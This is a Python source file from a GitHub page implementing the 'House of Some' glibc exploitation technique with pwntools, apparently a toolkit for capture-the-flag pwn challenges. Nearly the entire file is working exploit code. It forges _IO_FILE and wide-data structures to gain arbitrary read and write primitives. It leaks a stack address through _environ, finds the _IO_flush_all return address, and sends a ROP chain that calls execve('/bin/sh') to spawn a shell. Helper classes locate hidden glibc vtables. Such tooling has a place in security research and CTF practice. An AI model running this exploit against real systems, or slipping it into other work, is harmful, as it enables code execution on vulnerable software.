-
Notifications
You must be signed in to change notification settings - Fork 0
/
SomeofHouse.py
391 lines (333 loc) · 15.3 KB
/
SomeofHouse.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
"""
By Csome, enllus1on
ref: https://github.com/CsomePro/House-of-Some
ref: https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more
"""
from pwn import *
import bisect
from typing import Callable
# context.arch = "amd64"
class HouseOfSome:
def __init__(self, libc: ELF, controled_addr, zero_addr=0):
self.libc = libc
self.controled_addr =controled_addr
self.READ_LENGTH_DEFAULT = 0x400
self.LEAK_LENGTH = 0x500
self.zero_addr = zero_addr
if self.zero_addr == 0:
self.zero_addr = self.libc.symbols['_environ'] - 0x10
self.fake_wide_data_template = lambda : flat({
0x18: 0,
0x20: 1,
0x30: 0,
0xE0: self.libc.symbols['_IO_file_jumps'] - 0x48,
}, filler=b"\x00")
self.fake_file_read_template = lambda buf_start, buf_end, wide_data, chain, fileno: flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: buf_start, # _IO_buf_base
0x40: buf_end, # _IO_buf_end
0x70: p32(fileno), # _fileno
0x82: b"\x00", # _vtable_offset
0x88: self.zero_addr,
0xc0: 2, # _mode
0xa0: wide_data, # _wide_data
0x68: chain, # _chain
0xd8: self.libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")
self.fake_file_write_template = lambda buf_start, buf_end, chain, fileno: flat({
0x00: 0x800 | 0x1000 | 0x8000, # _flags
0x20: buf_start, # _IO_write_base
0x28: buf_end, # _IO_write_ptr
0x70: p32(fileno), # _fileno
0x68: chain, # _chain
# 0x88: self.zero_addr,
0xd8: self.libc.symbols['_IO_file_jumps'], # vtable
}, filler=b"\x00")
# ref: https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more
self.hoi_read_file_template = lambda read_addr, len, _chain, _fileno: fit({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: read_addr, #_IO_write_base
0x28: read_addr + len, #_IO_write_ptr
0x68: _chain, #_chain
0x70: p32(_fileno), # _fileno
0xc0: 0, #_modes
0xd8: self.libc.sym["_IO_file_jumps"] - 0x8, #_vtable
}, filler=b'\x00')
self.wide_data_length = len(self.fake_wide_data_template())
self.read_file_length = len(self.fake_file_read_template(0, 0, 0, 0, 0))
self.write_file_length = len(self.fake_file_write_template(0, 0, 0, 0))
self.hoi_read_file_length = len(self.hoi_read_file_template(0, 0, 0, 0))
self.panel = max(self.hoi_read_file_length * 2, self.write_file_length + self.hoi_read_file_length)
self.switch = 0
self.addr_panel = [self.controled_addr, self.controled_addr+self.panel]
self.functions = [
(f.address, f) for f in self.libc.functions.values()
]
self.functions.sort(key=lambda x: x[0])
self.text_section_start = self.libc.get_section_by_name(".text").header.sh_addr + self.libc.address
self.text_section_end = self.libc.get_section_by_name(".text").header.sh_size + self.text_section_start
def _next_control_addr(self, addr, len):
# return addr + len
"""
内存复用,仅仅使用self.panel * 2内存即可,防止多次RE后溢出
"""
if len <= self.panel:
self.switch = 1 - self.switch
return self.addr_panel[self.switch]
return self.addr_panel[0] + self.panel * 2
def read(self, fd, buf, len, end=0):
addr = self.controled_addr
f_read_file_0 = self.hoi_read_file_template(buf, len, addr+self.hoi_read_file_length, fd)
# f_wide_data = self.fake_wide_data_template()
addr += self.hoi_read_file_length
self.controled_addr = self._next_control_addr(self.controled_addr, self.hoi_read_file_length * 2)
f_read_file_1 = self.hoi_read_file_template(self.controled_addr,
self.READ_LENGTH_DEFAULT,
0 if end else self.controled_addr,
0)
payload = flat([
f_read_file_0,
f_read_file_1,
])
assert b"\n" not in payload, "\\n in payload."
return payload
def write(self, fd, buf, len):
addr = self.controled_addr
f_write_file = self.fake_file_write_template(buf, buf+len, addr+self.write_file_length, fd)
addr += self.write_file_length
self.controled_addr = self._next_control_addr(self.controled_addr, self.hoi_read_file_length + self.write_file_length)
f_read_file_1 = self.hoi_read_file_template(self.controled_addr, self.READ_LENGTH_DEFAULT, self.controled_addr, 0)
payload = flat([
f_write_file,
f_read_file_1,
])
assert b"\n" not in payload, "\\n in payload."
return payload
def bomb(self, io: tube, retn_addr=0):
stack = self.bomb_raw(io, retn_addr)
rop = ROP(self.libc)
rop.base = stack
rop.call('execve', [b'/bin/sh', 0, 0])
log.info(rop.dump())
rop_chain = rop.chain()
assert b"\n" not in rop_chain, "\\n in rop_chain"
io.sendline(rop_chain)
def bomb_raw(self, io: tube, retn_addr=0):
payload = self.write(1, self.libc.symbols['_environ'], 0x8)
io.sendline(payload)
stack_leak = u64(io.recv(8).ljust(8, b"\x00"))
log.success(f"stack_leak : {stack_leak:#x}")
payload = self.write(1, stack_leak - self.LEAK_LENGTH, self.LEAK_LENGTH)
io.sendline(payload)
# retn_addr = self.libc.symbols['_IO_file_underflow'] + 390
buf = io.recv(self.LEAK_LENGTH)
flush_retn_addr = self.stack_view(buf)
if retn_addr == 0 and flush_retn_addr != 0:
retn_addr = flush_retn_addr
success("retn_addr(_IO_flush_all) find")
success(f"fix retn_addr to {flush_retn_addr:#x}")
log.success(f"retn_addr : {retn_addr:#x}")
offset = buf.find(p64(retn_addr))
log.success(f"offset : {offset:#x}")
assert offset > 0, f"offset not find"
payload = self.read(0, stack_leak - self.LEAK_LENGTH + offset, 0x300, end=1)
io.sendline(payload)
return stack_leak - self.LEAK_LENGTH + offset
def stack_view(self, stack_leak_bytes: bytes):
# TODO this function now only support amd64
got_ret_addr = 0
next_flush = False
for i in range(0, len(stack_leak_bytes), 8):
value = u64(stack_leak_bytes[i:i+8])
if value < self.libc.address:
continue
idx = bisect.bisect_left(self.functions, value, key=lambda x: x[0])
if idx >= len(self.functions) or self.functions[idx][1].address != value:
idx -= 1
if idx < 0 or value - self.functions[idx][1].address >= self.functions[idx][1].size:
# TODO show rwx more info
# rwx = ""
# rwx += "r" if segment.header.p_flags & 4 else "-"
# rwx += "w" if segment.header.p_flags & 2 else "-"
# rwx += "x" if segment.header.p_flags & 1 else "-"
if self.text_section_start <= value <= self.text_section_end:
print(f"[{i:#x}] {value:#x} => libc.address+{value - self.libc.address:#x}")
if next_flush == True and got_ret_addr == 0:
got_ret_addr = value
continue
function = self.functions[idx][1]
if value - function.address > function.size:
continue
print(f"[{i:#x}] {value:#x} => {function.name}+{value - function.address}")
if "_IO_flush_all" in function.name:
got_ret_addr = value
if got_ret_addr == 0 and "_IO_do_write" in function.name:
next_flush = True
return got_ret_addr
class IO_jumps_t:
def __init__(self, addr, name) -> None:
self.name = name
self.address = addr
self.dummy = 0
self.dummy2 = 0
self.finish = 0
self.overflow = 0
self.underflow = 0
self.uflow = 0
self.pbackfail = 0
self.xsputn = 0
self.xsgetn = 0
self.seekoff = 0
self.seekpos = 0
self.setbuf = 0
self.sync = 0
self.doallocate = 0
self.read = 0
self.write = 0
self.seek = 0
self.close = 0
self.stat = 0
self.showmanyc = 0
self.imbue = 0
@classmethod
def from_bytes(cls, addr: int, data: bytes, name="<unknown>"):
datalist = []
for i in range(0, len(data), 8):
datalist.append(u64(data[i:i+8]))
res = cls(addr, name)
res.dummy = datalist[0]
res.dummy2 = datalist[1]
res.finish = datalist[2]
res.overflow = datalist[3]
res.underflow = datalist[4]
res.uflow = datalist[5]
res.pbackfail = datalist[6]
res.xsputn = datalist[7]
res.xsgetn = datalist[8]
res.seekoff = datalist[9]
res.seekpos = datalist[10]
res.setbuf = datalist[11]
res.sync = datalist[12]
res.doallocate = datalist[13]
res.read = datalist[14]
res.write = datalist[15]
res.seek = datalist[16]
res.close = datalist[17]
res.stat = datalist[18]
res.showmanyc = datalist[19]
res.imbue = datalist[20]
return res
def print(self):
s = ""
s += "type struct _IO_jumps_t %s [0x%x] = \n" % (self.name, self.address)
s += "\t[0] dummy = 0x%x\n" % self.dummy
s += "\t[1] dummy2 = 0x%x\n" % self.dummy2
s += "\t[2] finish = 0x%x\n" % self.finish
s += "\t[3] overflow = 0x%x\n" % self.overflow
s += "\t[4] underflow = 0x%x\n" % self.underflow
s += "\t[5] uflow = 0x%x\n" % self.uflow
s += "\t[6] pbackfail = 0x%x\n" % self.pbackfail
s += "\t[7] xsputn = 0x%x\n" % self.xsputn
s += "\t[8] xsgetn = 0x%x\n" % self.xsgetn
s += "\t[9] seekoff = 0x%x\n" % self.seekoff
s += "\t[10] seekpos = 0x%x\n" % self.seekpos
s += "\t[11] setbuf = 0x%x\n" % self.setbuf
s += "\t[12] sync = 0x%x\n" % self.sync
s += "\t[13] doallocate = 0x%x\n" % self.doallocate
s += "\t[14] read = 0x%x\n" % self.read
s += "\t[15] write = 0x%x\n" % self.write
s += "\t[16] seek = 0x%x\n" % self.seek
s += "\t[17] close = 0x%x\n" % self.close
s += "\t[18] stat = 0x%x\n" % self.stat
s += "\t[19] showmanyc = 0x%x\n" % self.showmanyc
s += "\t[20] imbue = 0x%x\n" % self.imbue
print(s.strip())
class HouseLibc:
def __init__(self, libc: ELF | str, verbose=False) -> None:
self.raw_libc: ELF = None
if isinstance(libc, ELF):
self.raw_libc = libc
libc = libc.file.name
self.libc = ELF(libc, checksec=False)
if not self.raw_libc:
self.raw_libc = self.libc
del libc
self.jumps_range = self.find_jumps_range(self.libc)
self.RANGE = (-40, 20)
self.verbose = verbose
self.maybe_jumps: list[IO_jumps_t] = []
revserse_map = {}
for k, v in self.libc.symbols.items():
revserse_map[v] = k
for i in range(*self.RANGE):
dd = self.libc.read(self.libc.symbols['_IO_file_jumps'] + self.jumps_range * i, self.jumps_range)
if self.check_jumps(dd):
addr = self.libc.symbols['_IO_file_jumps'] + self.jumps_range * i
if addr in revserse_map:
self.maybe_jumps.append(IO_jumps_t.from_bytes(addr, dd, revserse_map[addr]))
else:
self.maybe_jumps.append(IO_jumps_t.from_bytes(addr, dd))
self.jumps: dict[str, IO_jumps_t] = {}
self.update_symbols()
@staticmethod
def find_jumps_range(libc: ELF):
"""
find IO_jumps_t real length
"""
data = libc.read(libc.symbols['_IO_file_jumps'], 0x200)
datalist = []
for i in range(0, len(data), 8):
datalist.append(u64(data[i:i+8]))
# print(f"{i:#x} => {u64(data[i:i+8]):#x}")
gauss_range = 2
while gauss_range:
for i in range(gauss_range):
if bool(datalist[i]) != bool(datalist[i + gauss_range]):
break
else:
break
gauss_range += 1
return gauss_range * 8
@staticmethod
def check_jumps(data: bytes):
"""
check if data is IO_jumps_t type like or not.
"""
datalist = []
for i in range(0, len(data), 8):
datalist.append(u64(data[i:i+8]))
return datalist[0] == 0 and datalist[1] == 0
def find_jumps_with_cond(self, cond: Callable[[IO_jumps_t, ELF], bool]) -> list[IO_jumps_t]:
res = []
for i, fp in enumerate(self.maybe_jumps):
if cond(fp, self.libc):
res.append(fp)
if self.verbose: # debug
print(f"index: {i}")
fp.print()
return res
def find__IO_wfile_jumps_maybe_mmap(self) -> IO_jumps_t:
NAME = "_IO_wfile_jumps_maybe_mmap"
def cond(fp: IO_jumps_t, libc: ELF) -> bool:
return fp.overflow == libc.symbols['_IO_wfile_overflow'] \
and fp.close == libc.symbols['_IO_file_close'] \
and fp.underflow != libc.symbols['_IO_wfile_underflow']
res = self.find_jumps_with_cond(cond)
if len(res) > 1:
log.warn(f"Found dup {NAME} in [{', '.join(map(lambda x: f'{x.address:#x}', res))}], default using 0 index.")
if len(res) == 0:
raise LookupError(f"Could not find the {NAME}")
if len(res) == 1:
log.success(f"Found {NAME} in {res[0].address+self.raw_libc.address:#x}")
res[0].name = "_IO_wfile_jumps_maybe_mmap"
self.update_symbols()
return res[0]
def print_all_jumps(self):
for fp in self.maybe_jumps:
fp.print()
def update_symbols(self):
for fp in self.maybe_jumps:
if fp.name != "<unknown>":
self.jumps[fp.name] = fp